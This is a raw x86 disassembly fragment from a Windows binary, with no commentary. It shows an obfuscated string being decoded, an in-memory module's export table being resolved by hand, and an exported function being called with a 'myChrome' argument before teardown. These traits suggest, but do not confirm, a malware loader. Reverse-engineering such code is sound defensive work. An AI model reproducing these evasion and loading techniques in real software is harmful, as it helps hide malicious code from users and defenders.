mov dword [ebp - 0x21c], 0
xorps xmm0, xmm0
mov dword [ebp - 0x264], 0
movups xmmword [ebp - 0x274], xmm0
mov dword [ebp - 0x260], 0xf
mov byte [ebp - 0x274], 0
mov byte [ebp - 4], 0x1e
lea eax, [ebp - 0x2e0]
cmp dword [ebp - 0x2cc], 0xf
cmova eax, dword [ebp - 0x2e0]
sub esp, 0x18
push ecx
push eax
lea ecx, [ebp - 0x21c]
call fcn.00409b30
test eax, eax
je 0x4178f1
cmp byte [0x45c27b], 0
movq xmm0, qword [str.__RiZ_JIZ_X__]
mov eax, dword [0x45c278]
movq qword [ebp - 0x52c], xmm0
mov dword [ebp - 0x524], eax
je 0x417669
xor edx, edx
cmp dword [0x467920], 2
mov dword [ebp - 0x518], edx
jl 0x417632
movaps xmm2, xmmword [0x45ca20]
mov edx, 8
movaps xmm4, xmmword [0x45caa0]
movaps xmm1, xmm2
punpckldq xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
mov eax, dword [0x45ca90]
movaps xmm0, xmm1
mov dword [ebp - 0x518], edx
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x45ca50]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movaps xmm2, xmmword [0x45ca40]
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
andps xmm1, xmmword [0x45ca70]
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [str.__RiZ_JIZ_X__]
xorps xmm1, xmm0
movaps xmm0, xmm2
movd dword [ebp - 0x52c], xmm1
movaps xmm1, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x45ca50]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
andps xmm1, xmmword [0x45ca70]
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [ebp - 0x528]
xorps xmm1, xmm0
movd dword [ebp - 0x528], xmm1
mov eax, 0x4bda12f7
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x518]
movsx eax, al
mov cl, dl
imul eax, eax, 0x36
sub cl, al
add cl, 0x33
xor byte [ebp + edx - 0x52c], cl
inc edx
mov dword [ebp - 0x518], edx
cmp edx, 0xc
jl 0x417632
mov esi, dword [ebp - 0x21c]
lea eax, [ebp - 0x52c]
mov dword [ebp - 0x220], eax
mov ecx, dword [esi]
mov edx, dword [esi + 4]
mov dword [ebp - 0x514], edx
cmp dword [ecx + 0x7c], 0
je 0x41784c
mov ecx, dword [ecx + 0x78]
add ecx, edx
mov dword [ebp - 0x53c], ecx
mov eax, dword [ecx + 0x18]
mov dword [ebp - 0x518], eax
test eax, eax
je 0x41784c
cmp dword [ecx + 0x14], 0
je 0x41784c
lea eax, [ebp - 0x52c]
shr eax, 0x10
test eax, eax
jne 0x4176dd
lea eax, [ebp - 0x52c]
movzx eax, ax
cmp eax, dword [ecx + 0x10]
jb 0x41784c
sub eax, dword [ecx + 0x10]
jmp 0x4177f1
cmp dword [esi + 0x30], 0
jne 0x4177c1
mov edx, dword [ecx + 0x20]
mov ecx, dword [ecx + 0x24]
add ecx, dword [ebp - 0x514]
add edx, dword [ebp - 0x514]
mov eax, dword [ebp - 0x518]
mov dword [ebp - 0x538], ecx
xor ecx, ecx
mov dword [ebp - 0x540], edx
mov edx, 8
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.0043b270
mov ecx, eax
add esp, 4
mov dword [esi + 0x30], ecx
test ecx, ecx
jne 0x417734
push 0xe
jmp 0x41784e
mov edx, dword [ebp - 0x53c]
mov dword [ebp - 0x518], 0
mov eax, dword [edx + 0x18]
test eax, eax
je 0x4177a8
mov edi, dword [ebp - 0x540]
mov esi, dword [ebp - 0x538]
nop word [eax + eax]
mov eax, dword [edi]
lea edi, [edi + 4]
add eax, dword [ebp - 0x514]
lea esi, [esi + 2]
inc dword [ebp - 0x518]
lea ecx, [ecx + 8]
mov dword [ecx - 8], eax
mov ax, word [esi - 2]
mov word [ecx - 4], ax
mov eax, dword [edx + 0x18]
mov dword [ebp - 0x538], eax
mov eax, dword [ebp - 0x518]
cmp eax, dword [edx + 0x18]
jb 0x417760
mov esi, dword [ebp - 0x21c]
mov edi, dword [ebp - 0x28c]
mov eax, dword [ebp - 0x538]
push 0x409fd0
push 8
push eax
push dword [esi + 0x30]
call fcn.0043b350
mov ecx, dword [ebp - 0x53c]
add esp, 0x10
push 0x409fd0
push 8
push dword [ecx + 0x18]
lea eax, [ebp - 0x220]
push dword [esi + 0x30]
push eax
call fcn.0043b83e
add esp, 0x14
test eax, eax
je 0x41784c
movzx eax, word [eax + 4]
mov ecx, dword [ebp - 0x53c]
mov edx, dword [ebp - 0x514]
mov dword [ebp - 0x518], eax
cmp eax, dword [ecx + 0x14]
ja 0x41784c
mov eax, dword [ecx + 0x1c]
mov ecx, dword [ebp - 0x518]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
add eax, edx
je 0x417854
push 0x1a0a
push str.myChrome
call eax
mov edx, eax
add esp, 8
lea ecx, [edx + 1]
mov dword [ebp - 0x220], ecx
nop dword [eax]
mov cl, byte [edx]
inc edx
test cl, cl
jne 0x417830
sub edx, dword [ebp - 0x220]
lea ecx, [ebp - 0x274]
push edx
push eax
call fcn.0041a200
jmp 0x417854
push 0x7f
call dword [sym.imp.KERNEL32.dll_SetLastError]
cmp dword [esi + 0x10], 0
je 0x41786b
mov eax, dword [esi]
mov ecx, dword [esi + 4]
push 0
push 0
mov eax, dword [eax + 0x28]
add eax, ecx
push ecx
call eax
push dword [esi + 0x30]
call fcn.0043abee
add esp, 4
cmp dword [esi + 8], 0
je 0x4178c3
xor ecx, ecx
mov dword [ebp - 0x514], ecx
cmp dword [esi + 0xc], ecx
jle 0x4178b8
nop dword [eax]
mov eax, dword [esi + 8]
mov edx, dword [eax + ecx*4]
test edx, edx
je 0x4178ac
push dword [esi + 0x34]
mov eax, dword [esi + 0x2c]
push edx
call eax
mov ecx, dword [ebp - 0x514]
add esp, 8
inc ecx
mov dword [ebp - 0x514], ecx
cmp ecx, dword [esi + 0xc]
jl 0x417890
push dword [esi + 8]
call fcn.0043abee
add esp, 4
mov ecx, dword [esi + 4]
test ecx, ecx
je 0x4178dd
push dword [esi + 0x34]
mov eax, dword [esi + 0x20]
push 0x8000
push 0
push ecx
call eax
add esp, 0x10
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push esi
push 0
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
xor esi, esi
jmp 0x4178f7
mov esi, dword [ebp - 0x21c]
mov eax, dword [ebp - 0x534]
xorps xmm0, xmm0
movups xmmword [eax], xmm0
mov dword [eax + 0x10], 0
movups xmm0, xmmword [ebp - 0x274]
mov dword [eax + 0x14], 0
movups xmmword [eax], xmm0
movq xmm0, qword [ebp - 0x264]
movq qword [eax + 0x10], xmm0
mov eax, dword [ebp - 0x51c]
or eax, 1
mov dword [ebp - 0x520], eax
mov byte [ebp - 4], 0x1f
test esi, esi
je 0x4179d5
cmp dword [esi + 0x10], 0
je 0x41795a
mov eax, dword [esi]
mov ecx, dword [esi + 4]
push 0
push 0
mov eax, dword [eax + 0x28]
add eax, ecx
push ecx
call eax
push dword [esi + 0x30]
call fcn.0043abee
add esp, 4
cmp dword [esi + 8], 0
je 0x4179ab
xor ecx, ecx
mov dword [ebp - 0x514], ecx
cmp dword [esi + 0xc], ecx
jle 0x4179a0
mov eax, dword [esi + 8]
mov edx, dword [eax + ecx*4]
test edx, edx
je 0x417994
push dword [esi + 0x34]
mov eax, dword [esi + 0x2c]
push edx
call eax
mov ecx, dword [ebp - 0x514]
add esp, 8
inc ecx
mov dword [ebp - 0x514], ecx
cmp ecx, dword [esi + 0xc]
jl 0x417978
push dword [esi + 8]
call fcn.0043abee
add esp, 4
mov ecx, dword [esi + 4]
test ecx, ecx
je 0x4179c5
push dword [esi + 0x34]
mov eax, dword [esi + 0x20]
push 0x8000
push 0
push ecx
call eax
add esp, 0x10
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push esi
push 0
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov byte [ebp - 4], 0x18
mov ecx, dword [ebp - 0x2cc]
cmp ecx, 0xf
jbe 0x417a13
mov edx, dword [ebp - 0x2e0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x417a09
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x417c91
push ecx
push edx
call fcn.0043439f
add esp, 8
mov byte [ebp - 4], 0x16
mov ecx, dword [ebp - 0x228]
cmp ecx, 0xf
jbe 0x417a51
mov edx, dword [ebp - 0x23c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x417a47
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x417c91
push ecx
push edx
call fcn.0043439f
add esp, 8
lea ecx, [ebp - 0x408]
call fcn.00417d70
mov byte [ebp - 4], 0xf
mov ecx, dword [ebp - 0x314]
cmp ecx, 0xf
jbe 0x417a9a
mov edx, dword [ebp - 0x328]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x417a90
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x417c91
push ecx
push edx
call fcn.0043439f
add esp, 8
lea ecx, [ebp - 0x358]
mov dword [ebp - 0x318], 0
mov dword [ebp - 0x314], 0xf
mov byte [ebp - 0x328], 0
call fcn.0041a680
lea ecx, [ebp - 0x510]
call fcn.00418290
mov byte [ebp - 4], 0xb
mov ecx, dword [ebp - 0x244]
cmp ecx, 0xf
jbe 0x417b09
mov edx, dword [ebp - 0x258]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x417aff
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x417c91
push ecx
push edx
call fcn.0043439f
add esp, 8
mov byte [ebp - 4], 0xa
mov eax, dword [ebp - 0x29c]
mov dword [ebp - 0x248], 0
mov dword [ebp - 0x244], 0xf
mov byte [ebp - 0x258], 0
cmp eax, 0xf
jbe 0x417b70
lea ecx, [eax + 1]
mov eax, dword [ebp - 0x2b0]
mov edx, eax
cmp ecx, 0x1000
jb 0x417b66
mov eax, dword [edx - 4]
add ecx, 0x23
sub edx, eax
mov dword [ebp - 0x51c], eax
lea eax, [edx - 4]
cmp eax, 0x1f
ja 0x417c91
mov eax, dword [ebp - 0x51c]
push ecx
push eax
call fcn.0043439f
add esp, 8
test edi, edi
je 0x417b96
or esi, 0xffffffff
mov eax, esi
lock xadd dword [edi + 4], eax
jne 0x417b96
mov eax, dword [edi]
mov ecx, edi
call dword [eax]
mov eax, esi
lock xadd dword [edi + 8], eax
jne 0x417b96
mov eax, dword [edi]
mov ecx, edi
call dword [eax + 4]
lea ecx, [ebp - 0x430]
call fcn.00419430
lea ecx, [ebp - 0x480]
call fcn.00417cb0
mov byte [ebp - 4], 0x20
mov eax, dword [ebp - 0x284]
mov esi, dword [eax + 0x1c]
test esi, esi
je 0x417bce
nop dword [eax]
mov eax, dword [esi]
mov ecx, esi
call dword [eax + 4]
mov esi, dword [esi + 0x10]
test esi, esi
jne 0x417bc0
or eax, 0xffffffff
lock xadd dword [0x468600], eax
dec eax
jne 0x417be2
call dword [sym.imp.WS2_32.dll_WSACleanup]
lea ecx, [ebp - 0x284]
call fcn.0040d260
mov ecx, dword [ebp - 0x2e4]
cmp ecx, 0xf
jbe 0x417c23
mov edx, dword [ebp - 0x2f8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x417c19
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x417c91
push ecx
push edx
call fcn.0043439f
add esp, 8
mov ecx, dword [ebp - 0x2fc]
cmp ecx, 0xf
jbe 0x417c59
mov edx, dword [ebp - 0x310]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x417c4f
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x417c91
push ecx
push edx
call fcn.0043439f
add esp, 8
mov ecx, dword [ebp - 0x2b4]
cmp ecx, 0xf
jbe 0x4171cb
mov edx, dword [ebp - 0x2c8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4171c1
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x4171c1
call fcn.0043ae3e
lea ecx, [ebp - 0x224]
call fcn.0040cb70
lea ecx, [ebp - 0x224]
call fcn.0040cb70
int3